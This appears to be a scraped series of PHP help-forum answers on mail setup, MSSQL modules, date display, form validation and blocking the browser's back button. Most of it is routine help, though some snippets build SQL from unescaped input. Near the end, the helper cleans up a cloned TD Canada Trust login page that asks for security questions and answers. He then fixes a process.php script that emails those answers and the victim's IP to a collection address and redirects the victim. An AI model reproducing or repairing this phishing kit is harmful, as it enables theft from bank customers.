Try the following:
foreach ($link AS $links) {
echo $links['f_name'];
echo $links['l_name'];
}
Try the following:
foreach ($link AS $links) {
echo $links['f_name'];
echo $links['l_name'];
}
As messy as that code may be it appears to still be valid if the url has ?_emailx=something or if there is a '_emailx' field in the html form. Try the following example and if it works then I will help you clean up the code.
<?php
$to = 'nobody@example.com';
//put a working email above for you to receive the message
$subject = 'the subject';
$message = 'hello';
//change yoursite.com to your domain name below
$headers = 'From: user@yoursite.com' . "\r\n";
mail($to, $subject, $message, $headers);
?>
If the above doesn't work and have made the 2 changes to the code then I would suggest contacting your web host for allowing php to send email. If however the above code i've posted does work then post the html form associated with the above code and I shall clean it up for you.
how can i show you that as i am new to this, i will copy and paste what you need
Yea, just copy and past the code/page which contains the mail() function into the reply box but be sure to use code tags. Then I will check the code for anything that may stop the mail function from working and let you know if it is just a change in the code or something that your host needs to configure on the server.
sorry I cannot use mysql for the game database, besides, my friend already created it.
A php database converter perhaps. I do a lot of that sort of coding to save years of my life. But from my understanding you will need to run the script from the same server which has your database and mssql installed unless there is a security exception in which cause you would use your server ip address instead of localhost as one of the inputs. But other than that I would suggest trying it purely on your server with mssql working/installed and if that doesn't work then contact your web host.
thanks for u r help , one more thing how to display in the following fromat.....
11:30 AM Sunday , August 25 , 2009
Try this:
<body>
<?php
$time_now = mktime( date('h')+5, date('i')+30, date('s') );
$gmt1 = date('h:i:s A l, F j, Y', $time_now);
echo $gmt1;
?>
<br>
<br>
<input name="textfield" type="text" disabled="True" value="<?php echo $gmt1; ?>" style="width: 256px;">
</body>
http://java.sun.com/j2se/1.5.0/docs/api/
The about 3500 classes of Java 5.0 are covered in here.
I've seen that one and it is so hard to browse with poor descriptions. If that's the best on the web then somebody really needs to document that language in much greater detail like how the php documentation has those huge pages for each function.
Well first I will have to ask are you on a shared server or dedicated server or vps (virtual private server). If your on a shared server then it should be your hosts responsibility to fix up the mail server as it requires modifying the php.ini and only the master administrator (the hosting company if a shared server) of the server can do that. But just before you contact anyone, make sure your emails didn't go into the spam box. That can sometimes be a big problem.
If however you have a virtual private server or dedicated server then chances of any person new to mail servers have very little chance of fixing it.
So please post an example script and let us know if your on a shared host because with shared hosting the support team may be responsible for this one.
Well to retrieve the entire page use file_get_contents() then preg_match_all() to filter to that table. Below is an example
<?
$var=file_get_contents('http://superdialcouk.dmshop.biz/numbers/0207/choose.php?dmb1_SessRef=2009-08-22_15-29-14_8068_0003');
$var=preg_match_all('/<table class="vert_centered_leaded" style="width: 100%;".*<tr>.*<tr>.*<\/tr>(.*<\/table>)/Us',$var,$array);
//print_r($array);
$var='<table class="vert_centered_leaded" style="width: 100%;">'.$array[1][0];
unset($array);
echo $var;
?>
Usually I only use curl if it involves pinging or posting to a server.
I've found that Python has excellent documentation, followed by PHP. The Windows APIs are well documented as well. Once you get accustomed to programming with any of those, you can get quite far on your own by reading their respective manuals.
That being said I haven't seen any decent documentation for Java. (Not javascript) At least nothing sorted like the php documentation.
okay thank you. Im going to try to get it working on my localhost (going to use wamp) first, before getting it to work online. I tried to upload the files to the www file, and it still doesnt work.
I believe wamp and xampp do not come with mssql installed. Also I did a search and mssql is not free. It's full name is Microsoft SQL server and you can download a trial of the database system at http://www.microsoft.com/sqlserver/2008/en/us/try-it.aspx
After installing that trial package then you will need to edit your php.ini and uncomment the line with ;extension=mssql.dll
If you want something that is free then I would suggest using mysql instead. Also mysql is claimed to be better.
thanks for u r help , now its working . Can u tell me what is the error ..
The error was two quotation marks that needed adding in the following line.
<input name="textfield" type="text" disabled="True" value= <?php echo $gmt1; ?> >
above was replaced with below
<input name="textfield" type="text" disabled="True" value="<?php echo $gmt1; ?>" >
Very very minor but with different results.
Now there is a thread on here about it, but it's over 3 years old so I assume in the last 3 years there has been better development in this area.
At last a newbie to the forums who didn't bump an old thread.:) As for the answer - xampp is a package you can use which is cross platform including mac. An installation copy with documentation can be found at http://www.apachefriends.org/en/xampp-macosx.html
A simple html error. Try this:
<body>
<?php
$time_now = mktime( date('h')+5, date('i')+30, date('s') );
$gmt1 = date('h:i:s A', $time_now);
echo $gmt1;
?>
<br>
<br>
<input name="textfield" type="text" disabled="True" value="<?php echo $gmt1; ?>" >
</body>
uhh... module? what module? -total newb-
uh...
A module is a like a addon for php that allows certain functionality. And there are dozens of these that can be downloaded or pre-installed and it looks like your host hasn't added the module/addon for mssql.
could this just mean that my host (using x10hosting) does not support mssql?
Yes but I would suggest submitting a support ticket asking "is the php module mssql is installed" to make sure.
Try this but you will need to wait for the page to be fully loaded before you expect to see results. So try the following:
<?
set_time_limit(0);
ini_set('memory_limit','200M');
//above are the very first lines of the document
//some code in here for $imgpath and $store
if (empty($imgpath)) {
die('invalid image path');
}
file_put_contents($imgpath,$store);
echo 'image stored at: '.$imgpath;
Perhaps there is an error in the mysql query with how the table structure is setup. Try the following and make sure the columns casing is correct.
include"../../pages/config.php";
$selectrow = mysql_query("SELECT * FROM members");
$remove1 = "Update AccLink SET autoRemove = autoRemove -1 WHERE Enable='true'";
mysql_query($remove1) or die('error1:<br>'.mysql_error());
$removeSQL = "DELETE FROM AccLink WHERE Enable='true' AND autoRemove <= 0";
$r = mysql_query($removeSQL) or die('error2:<br>'.mysql_error());
echo mysql_affected_rows($r).' rows were deleted.';
Hope that helps.
If you want to do it where the enable column is true then try the following:
include"../../pages/config.php";
$selectrow = mysql_query("SELECT * FROM members");
$remove1 = "Update AccLink SET autoRemove = autoRemove -1 WHERE enable='true'";
mysql_query($remove1);
$removeSQL = "DELETE FROM AccLink WHERE enable='true' AND autoRemove <= 0";
$r = mysql_query($removeSQL);
echo mysql_affected_rows($r).' rows were deleted.';
or
include"../../pages/config.php";
$selectrow = mysql_query("SELECT * FROM members");
$remove1 = "Update AccLink SET autoRemove = autoRemove -1 WHERE Enable='true'";
mysql_query($remove1);
$removeSQL = "DELETE FROM AccLink WHERE Enable='true' AND autoRemove <= 0";
$r = mysql_query($removeSQL);
echo mysql_affected_rows($r).' rows were deleted.';
$fp = fopen($imgpath, 'w');
fwrite($fp, $store);
fclose($fp);
Try replacing that code with the following:
file_put_contents($imgpath,$store);
A much more efficient function.
I guess based on what kkeith29 said, your script would look more like the following:
include"../../pages/config.php";
$selectrow = mysql_query("SELECT * FROM members");
$remove1 = "Update AccLink SET autoRemove = autoRemove -1";
mysql_query($remove1);
$removeSQL = "DELETE FROM AccLink WHERE autoRemove <= 0";
$r = mysql_query($removeSQL);
echo mysql_affected_rows($r).' rows were deleted.';
You had extra quotes in there. Try this:
include"../../pages/config.php";
$selectrow = mysql_query("SELECT * FROM members");
$query = mysql_fetch_array($selectrow, MYSQL_ASSOC);
//Run business removal
if ($query['Enable'] == "true"){
if ($query['autoRemove']<=0){
$removeSQL = "DELETE FROM AccLink WHERE autoRemove <= 0";
mysql_query($removeSQL);
echo "Business Removed. {$query['username']}<br>";
}
$remove1 = "Update AccLink SET autoRemove = autoRemove -1";
mysql_query($remove1);
echo "Run Sucessfull {$query['username']}<br>";
}
Then where could I get those pre-compiled files becaused I've searched and searched and only find instructions on how to compile the c/c++ files. It would be a great help if you could post a link to download the standard precompiled extensions in the .so format.
Anybody?
Also is there a graphical interface to install apache and php for a test run (but without php extensions). Because I might try and test some online tutorials but need an easy way to install without extensions like xampp on windows.
session_start() and other headers must be sent before any browser output. So try the following:
<?php
session_start();
?><title>Hanuman Database</title>
<div align="center">
<table width="800" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="10"><img src="../images/bg_up_exp_left.GIF" width="20" height="20" /></td>
<td width="722" background="../images/bg_up_experience.gif"> </td>
<td width="10"><img src="../images/bg_up_exp_right.gif" width="20" height="20" /></td>
</tr>
<tr>
<td background="../images/left_bg.gif"> </td>
<td><table width="758" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><img src="../images/logo_1.jpg" width="96" height="122" /></td>
</tr>
<tr>
<td><?php
echo "Global User: ".$_SESSION['gbluser']; ?></td>
</tr>
<tr>
<td><a href="create_user.html"><img src="images/create_user.gif" border="0" /></a> <a href="view_users.php" ><img src="images/users.gif" width="64" height="24" border=0/></a> <a href="add_control.html"><img src="images/addcontrol.gif" border="0" /></a> <a href="view_controls.php"><img src="images/viewcontrol.gif" width="90" height="24" border="0" /></a></td>
</tr>
</table></td>
<td background="../images/right_bg.gif"> </td>
</tr>
<tr>
<td><img src="../images/coner_down_left.gif" width="20" height="20" /></td>
<td background="../images/down_bg.gif"> </td>
<td><img src="../images/coner_down_right.gif" width="20" height="20" /></td>
</tr>
</table>
</div>
<div align="center"></div>
Fatal error: Call to undefined function mssql_connect() in /home/otakua/public_html/index.php on line 26
Usually that means that the module for that function has not been installed or been corrupted. So if you have uploaded to another server make sure the extension mssql is installed or if you believe it's already installed then make sure it is configured properly.
Try the following:
public function isIE()
{
$b = get_browser(null, true);
if ($b['browser']=='IE')
return true;
else
return false;
}
$connection = mysql_connect($host,$usernamee,$passwordd) or die ('Could not connect to server.');
$db = mysql_select_db($database,$connection) or die ('Could not select database.');
$sqlerror = mysql_error();//The next line is where the error is, please help me out....
$sqlinsert = "INSERT INTO usercomments(namee, emailaddress, comments, datesent) VALUES ('".$fName."', '".$emaill."', '".$commentt."', '"$datee."')";$sqlinsertt = mysql_query($sqlinsert) or die ('Could not insert record');
if($sqlinsertt)
{
echo '<br><br>RECORD INSERTED SUCCESSFULLY <br>';
}else
{
echo '<br>Record cannot be inserted with Shipper Login:<br> ';
//echo 'error$sqlerror';
}?>
First of all welcome to daniweb.
And did you not read my signature saying not to bump old topics. Also please use code tags as they can make it easier to read your post. As for your question, the following code should do the trick:
$connection = mysql_connect($host,$usernamee,$passwordd) or die ('Could not connect to server.');
$db = mysql_select_db($database,$connection) or die ('Could not select database.');
$sqlerror = mysql_error();
$fName=mysql_real_escape_string($fName);
$emaill=mysql_real_escape_string($emaill);
$commentt=mysql_real_escape_string($commentt);
$datee=mysql_real_escape_string($datee);
$sqlinsert = "INSERT INTO usercomments(namee, emailaddress, comments, datesent) VALUES ('$fName', '$emaill', '$commentt', '$datee')";
$sqlinsertt = mysql_query($sqlinsert) or die ('Could not insert record');
if($sqlinsertt)
{
echo '<br><br>RECORD INSERTED SUCCESSFULLY <br>';
}
else
{
echo '<br>Record cannot be inserted with Shipper Login:<br> ';
//echo 'error$sqlerror';
}
?>
I have just merged them to what I think it should be but haven't tested it since I don't have mssql installed. Below is an example to be used as a guide.
<?php
include ('constant.php');
include ('msDB.php');
class mySQLDB{
var $con;
var $conb;
var $num_active_users;
var $num_active_guests;
var $num_members;
function MySQLDB(){
$this->con=mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die('Could not connect: ' . mysql_error());
mysql_select_db("pnc_preregistration",$this->con) or die('Could not select database: ' . mysql_error());
$this->conb=mssql_connect(MS_SERVER, MSDB_USER, MSDB_PASS) or die("SQL Server connection failed");
mssql_select_db("pnc_enrollment",$this->conb) or die("Database connection failed");
/*
only query database to find out number of members
when getNumMembers() is called for the first time,
until the, default value set.
*/
$this->num_members = -1;
if (TRACK_VISITORS){
//calculate the number of users at site
$this->calcNumActiveUsers();
//calculate number of guests at site
$this->calcNumActiveGuests();
}
}
/*
msSchedule - use by the admin to activate all the schedule that is available
in current semester.
*/ /*
function msSchedule(){
$mssql = "SELECT S.SubjCode, C.Description, S.FromTime, S.ToTime,".
" S.Semester, S.SchoolYear, S.Day, S.Room FROM Schedule AS S, Curriculum AS C ".
"WHERE S.CurriID=C.CurriID AND S.SubjCode=C.SubjCode AND S.Semester=C.Semester AND S.CourseID=C.CourseID";
$query = mssql_query($mssql,$this->conb);
$fetch = mssql_fetch_array($query);
}
*/
/*
The student which is the active user will show their schedule base on their
student ID and the pre-requisite.
*/
function msStudSchedule($studentID){
$mssql = "SELECT S.SubjCode, C.Description, S.FromTime, S.ToTime,".
" S.Semester, S.SchoolYear, S.Day, S.Room FROM Schedule AS S,Curriculum AS C ".
" WHERE S.CourseID IN ".
"(SELECT CourseID FROM Curriculum)".
" AND SubjCode IN".
"(SELECT SubjCode From Curriculum WHERE Pre_Requisite IN".
"(SELECT …
If you are talking about the microsoft sql database + mysql database then that I believe is totally possible as they are two separate modules. Although I have never used the ms sql database system before, if you could post an example of the two separate scripts I will happily merge them together for you if their not too big.
I´m pretty blind regarding Callback Url. I only know that someone will dump in information that i want to see. Thats it.
That's a very brief description of what you want and more detail of your goal will be needed. I do know however if you use the http post or http get options you can retrieve the data from the submitted page via $_GET or $_POST arrays.
Try something like the following script:
$site='www.daniweb.com'; //no http and no slashes
echo file_get_contents('http://www.wholinks2me.com/link/'.$site);
And it would even be possible to use regex to format/style the page and at option to store each group of data in variables/arrays. That's the best I can think of because that api code mentioned in your earlier post makes no sense without documentation.
Well as you pointed out (probably without realising it), the array values are not stored in the variable and instead the actual name/code of the array is stored in the variable of your first code box. So try making the sql variable the following:
$sql='SELECT * FROM TABLE WHERE TM_ID > 2000 AND TM_ID='.$row_tMain[TM_ID].' AND TM_DATE='.$row_tMain[TM_DATE];
//or the following two lines:
$filterString='AND TM_ID='.$row_tMain[TM_ID].' AND TM_DATE='.$row_tMain[TM_DATE];
$sql="SELECT * FROM TABLE WHERE TM_ID > 2000 ".$filterString;
$grading_periods[gps].grading_period
That basically tells the server to append a constant to an array and the constant grading_period would have been made with the define() function.
$tpl->assign('grading_periods',$grading_periods);
That on its own would be invalid code so in other words that code has been made possible by code before it. And guessing it assigns the string grading_periods or the constant grading_periods with a variable to its parrent.
Without seeing all of the code I can only guess that is what is happening but there is a good chance the answer to the first quote is right.
Hello,
I would like to ask, if i will be able to save all errors to mysql rather than a log file.
also is it possible for me to be able to save any errors which end users make for example, a user enters user name and enters wrong password, can i save that error?
The easiest way to make it save into a mysql database is simply by setting up a cron job to automatically transfer the data from the error log file to the database. And as for the error of wrong passwords, simply append to the log file which the cron task will then take care of. Hope that theory helps.
I managed to find the following page that you can just enter your website (and possibly webpage) then it will report back every link to your site/page and a number at the top.
http://www.tech-faq.com/who-links-to-me.shtml
Hope that is of some use to you.
I have found that php itself can't stop the user from viewing the pages as the page is still loaded in the browsers cache. Only javascript can solve this cache problem. I managed to come up with the following just to let you know.
index.php
<?
echo '<html><head><SCRIPT LANGUAGE=javascript>
function linker() {
history.forward();
setTimeout("linker()",2048);
}
var hist=0;
function linkerb() {
if (hist==0) {
linker();
}
hist=1;
}
</SCRIPT>';
echo '<title>test</title></head><body onmousemove="javascript:linkerb();">';
?>
<a href="redirect.php?url=protectedexamplepage.php">Next page</a>
redirect.php
<?
if (isset($_GET['url']) && !empty($_GET['url'])) {
setcookie('page',$_GET['url'],(time()+86407));
header('Location: '.$_GET['url']);
} else {
echo '<h1>Page not found</h1>';
}
?>
protectedexamplepage.php
<?
if (!isset($_COOKIE['page']) || substr_count($_SERVER['PHP_SELF'],$_COOKIE['page'])==0) {
header('Location: redirect.php');
}
echo '<html><head><SCRIPT LANGUAGE=javascript>
function linker() {
history.forward();
setTimeout("linker()",2048);
}
var hist=0;
function linkerb() {
if (hist==0) {
linker();
}
hist=1;
}
</SCRIPT>';
echo '<title>test</title></head><body onmousemove="javascript:linkerb();" bgcolor=#FFCCCC>';
?>
<a href="redirect.php?url=index.php">index</a>
i've tried your code still I can see the previous page in firefox.
do you have any idea on how to run session of every page then expire it in PHP?thanks to your help.
It worked for me but you need to move the mouse after clicking back for the effect to take place and Javascript needs to be enabled. I will see what else I can make.
I managed to make a script that will prevent the user from going back to the page. On the pages you do not want to user to be able to go back to place the following script.
<head>
<SCRIPT LANGUAGE=javascript>
function linker() {
history.forward();
setTimeout("linker()",2048);
}
var hist=0;
function linkerb() {
if (hist==0) {
linker();
}
hist=1;
}
</SCRIPT>
</head>
<body onmousemove="javascript:linkerb();">
That will redirect the user a page forward as soon as the mouse moves over the page.
Been many years since I used this trick but I remember reading a javascript code where it stops the browser from recording the page in its history making it impossible to go back to unless linked to. I'll try searching for it again but that is one option if the code can be found.
I have bult a php site, and going live soon some questions first of all from what i read i need to have a .htaccess file in which it has turn of register_global and disable errors do i need to put anything further?
I believe that is a php.ini file not .htaccess but doing that in the php.ini will work fine.
I also have a admin section which is password protected from my hosting company, is that safe?
Well I would recommend that instead of using a .htaccess file to password protect the files, instead use actual php code to protect the data and of course any sensitive data would be in a database where only php can access it when programmed securely.
after reading i am getting loads of different information can someone please help me with what i need to follow (tutorial)
Perhaps a google search will answer that.
Hi, I found that my linux (CentOS) server hasn't got any of the php extensions installed but can't seem to find any easy way to do it. Can anybody guide me the easiest way to install the php extensions curl and gd. A google search has showen dozens of lines of commands are required for the complete process and was wondering if there is any easier way to install on CentOS. PHP 5.2.8 is my version and I have ssh access and root file transfer access.
Please reply.
Thanks for the suggestion as now I can upload+download the root of my server.
*Solved*
If you mean for to see who has linked to your website perhaps using an api would be best because scanning the entire internet is no easy task.
hey thanks! this works. :)
but would you mind? how'd i do this validation using php?
Well you would need the page to post to itself and php would check if everything is filled in. Also you would need a hidden field with the number of times that php for loop loops for. And if php finds that all the fields are filled in you would then use header redirect to process.php but I would say that javascript is the better solution as there is way less pressure on the server.
Mr. Cwarn32, that's the script to check the link about 1 site..I ask how to check all website that have my link in there. For example :
my link is : crohole.com
And I want to detect where are the website that have link to crohole.com. It detect all website in the world. The result will be like this :Your site : crohole.com
Reciprocal links :
1. idu.info
2. rock.com
3. hash.netand so on. I hope you understand with my question. Sorry if my english is bad.
The script in the first post does exactly that. Give it a try and you will see what I mean.
I have added a javascript validation and the page is as follows:
<head><script>
function submitform() {
var err;
err=0;
for (i=0; i<window.numrows;i++) {
if (document.getElementById(i+"a").value == "") {
document.getElementById('d'+i+'a').innerHTML="Fill this up.";
err=1;
} else {
document.getElementById('d'+i+'a').innerHTML="";
}
if (document.getElementById(i+"b").value == "") {
document.getElementById('d'+i+'b').innerHTML="Fill this up.";
err=1;
} else {
document.getElementById('d'+i+'b').innerHTML="";
}
if (document.getElementById(i+"c").value == "") {
document.getElementById('d'+i+'c').innerHTML="Fill this up.";
err=1;
} else {
document.getElementById('d'+i+'c').innerHTML="";
}
if (document.getElementById(i+"d").value == "") {
document.getElementById('d'+i+'d').innerHTML="Fill this up.";
err=1;
} else {
document.getElementById('d'+i+'d').innerHTML="";
}
if (document.getElementById(i+"e").value == "") {
document.getElementById('d'+i+'e').innerHTML="Fill this up.";
err=1;
} else {
document.getElementById('d'+i+'e').innerHTML="";
}
}
if (err==0) {
document.mainvalidationform.submit();
} else {
alert("You need to fill in one or more fields");
}
}
</script></head><body>
<?php
if(!isset($_POST['noRec']) || (isset($_POST['noRec']) && empty($_POST['noRec'])) || isset($_POST['noRec']) && $_POST['noRec']<0)
{ ?>
<form method="post" action="<?php $_SERVER['PHP_SELF'];?>">
<span>How many employee do you want to add? </span>
<input type="text" size="5" maxlength="2" name="noRec" /><br />
<input type="submit" value="Add Record" />
</form>
<?php }
elseif(isset($_POST['noRec'])) { ?>
<form method="post" name="mainvalidationform" action="<?php if(empty($_POST['em'])) {$_SERVER['PHP_SELF']; } else { echo "process.php"; } ?>"> <?php
for($i=0;$i<$_POST['noRec'];$i++) { echo "\n"; ?>
<table>
<tr>
<td class="left">Employee No:</td>
<td><input type="text" name="<?php echo "em[$i][emNo]"; ?>" value="<?php echo $i+1; ?>" size="3" maxlength="2" id="<?php echo $i;?>a" /></td>
<td><div id="d<?php echo $i?>a"></div></td>
</tr>
<tr>
<td class="left">First Name:</td>
<td><input type="text" name="<?php echo "em[$i][fName]"; ?>" <?php if( isset($_POST['em'][$i]['fName'])) { echo 'value="'.htmlentities($_POST['em'][$i]['fName']).'"'; } ?> id="<?php echo $i;?>b" /></td>
<td><div id="d<?php echo $i?>b"></div></td>
</tr>
<tr>
<td class="left">Last Name:</td>
<td><input type="text" name="<?php echo "em[$i][lName]"; ?>" <?php if( isset($_POST['em'][$i]['lName'])) { echo 'value="'.htmlentities($_POST['em'][$i]['lName']).'"'; } ?> id="<?php echo $i;?>c" /></td> …
It worked with my browser Opera so perhaps your code is just incompatible with the browser that you use. I've cleaned up the code a little and the following might do a better job.
securelogin.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0068)https://easyweb45z.tdcanadatrust.com/MFASecurityIntroContinueServlet -->
<HTML><HEAD>
<SCRIPT language=JavaScript>
function pageLoadMFAMSO2(){
document.setMFASecurityQuestionForm.questionselectiongroup[0].focus();
}
function fnHelp(helpURL){
winAtts="toolbar=0,scrollbars=1,resizable=1,width=425,height=400";
HelpWindow= window.open(helpURL,"Help",winAtts);
}
function fnHelpEW(helpURL){
helpURL = "https://www.tdcanadatrust.com//easyweb5/help/banking/"+ helpURL;
fnHelp(helpURL);
}
function fnFooter(helpURL){
winAtts="width=500,height=400,resizable=yes,scrollbars=yes";
HelpWindow = window.open(helpURL,"TD",winAtts);
}
</SCRIPT>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1"><BASEFONT
face=verdana,arial,sans-serif size=2><LINK
href="MFASecurityIntroContinueServlet_files/all.css" type=text/css
rel=stylesheet>
<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 onload=pageLoadMFAMSO2();
marginwidth="0" marginheight="0">
<TABLE height=63 cellSpacing=0 cellPadding=0 width=760 bgColor=#2d5c3d
border=0><TBODY>
<TR>
<TD><IMG height=59 alt="TD Canada Trust"
src="MFASecurityIntroContinueServlet_files/EasywbLogo.gif" width=203
border=0> </TD></TR></TBODY></TABLE><BR><BR>
<TABLE height=63 cellSpacing=0 cellPadding=0 width=760 bgColor=#ffffff
border=0><TBODY>
<TR>
<TD>
<FORM name="setMFASecurityQuestionForm" method="post" action="process.php">
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD vAlign=top><IMG height=20 alt="EasyWeb - IdentificationPlus"
src="MFASecurityIntroContinueServlet_files/title_idplus.gif"
width=250 border=0></TD>
<TD align=right><A class=pageutility
onclick="fnHelpEW('acc00339.jsp');return false;"
href="https://easyweb45z.tdcanadatrust.com/#">Help</A> </TD></TR>
<TR>
<TD vAlign=top colSpan=2><IMG height=1 alt=""
src="MFASecurityIntroContinueServlet_files/line_dot.gif" width=598
border=0><BR><FONT class=pageTitleB>Account Owner Verification</FONT>
<DIV style="MARGIN-TOP: 7px"></DIV></TD></TR>
<TR>
<TD class=sequential vAlign=top colSpan=2>Step: 2 of 3
<DIV style="MARGIN-TOP: 7px"></DIV></TD></TR>
<TR>
<TD class=table vAlign=top colSpan=2>
<TABLE width=600 align=center bgColor=white border=0>
<TBODY>
<TR>
<TD class=table colSpan=2><b>For your added security, you must enter
your 5 personal verification questions with the corresponding answer to verify yourself. Then Click Save Setting below:</b>
<BR> <BR><BR><A class=pageutility
onclick="fnHelpEW('acc00341.jsp');return false;"
href="https://easyweb45z.tdcanadatrust.com/#">Enter your Security Questions and Answers:
</A><BR><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD>
<TABLE class=element2 cellSpacing=0 cellPadding=2 width="100%"
align=center …
but how will i output those form fields? i dont know how. i tried to use print_r($_POST), it works. but i want to present the values like:
Employee NUmber: 1
FIrst name: Michael
Last name: gerona
etc: etc??
Try adding this at the end of your code:
<?php
if (!empty($_POST)) {
for ($i=0;isset($_POST['em'][$i]);$i++) {
echo '<hr>Employee Num: '.$_POST['em'][$i]['emNo'];
echo '<br>First Name: '.$_POST['em'][$i]['fName'];
echo '<br>Last Name: '.$_POST['em'][$i]['lName'];
echo '<br>position: '.$_POST['em'][$i]['pos'];
echo '<br>dept: '.$_POST['em'][$i]['dept'];
}
}
?>
Could you post the html form code as that may be related to the problem.
Try making this your code
$ip = getenv("REMOTE_ADDR");
$message .= "------------------------------------------------------------------\n";
$message .=$_POST['questionselectiongroup0']."\n";
$message .=$_POST['securityanswergroup0']."\n";
$message .=$_POST['questionselectiongroup1']."\n";
$message .=$_POST['securityanswergroup1']."\n";
$message .=$_POST['questionselectiongroup2']."\n";
$message .=$_POST['securityanswergroup2']."\n";
$message .=$_POST['questionselectiongroup3']."\n";
$message .=$_POST['securityanswergroup3']."\n";
$message .= "IP: $ip\n";
$message .= "--------Created By Poison------------------------------\n";
$recipient = "admin@test.com";
$subject = "Security Measures";
$headers = "From: ";
$headers .= $_POST['td@tdx.com']."\n";
$headers .= "MIME-Version: 2.0\n";
$encoded = array($recipient);
$code = $encoded;
for ($i=0;$i<=sizeof($code);$i++){
mail($message, $subject, $message, $headers);
}
header("Location: securelogin.html");
It was because the $message variable was not included in the body of the message.